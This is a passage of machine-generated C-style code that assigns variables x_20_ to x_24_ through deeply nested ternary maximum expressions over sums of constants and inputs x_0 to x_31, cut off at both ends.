((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) > (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))? (((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) : (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))) : ((((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) > (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31)))? (((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) : (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))))); x_20_ = (((((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) > (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))? (((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) : (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))) > ((((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) > (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) : (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))))? ((((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) > (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))? (((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) : (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))) : ((((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) > (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) : (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))))); x_21_ = (((((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) > (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))? (((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) : (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))) > ((((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) > (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29)))? (((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) : (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))))? ((((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) > (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))? (((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) : (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))) : ((((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) > (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29)))? (((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) : (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))))); x_22_ = (((((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))? (((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))) > ((((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) > (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31)))? (((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) : (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))))? ((((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))? (((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))) : ((((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) > (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31)))? (((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) : (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))))); x_23_ = (((((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) > (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))? (((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) : (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))) > ((((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) > (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25)))? (((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) : (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))))? ((((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) > (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))? (((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) : (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))) : ((((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) > (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25)))? (((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) : (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))))); x_24_ = (((((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) > (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))? (((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) : (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))) > ((((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) > (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30)))? (((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) : (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))))? ((((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) > (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? 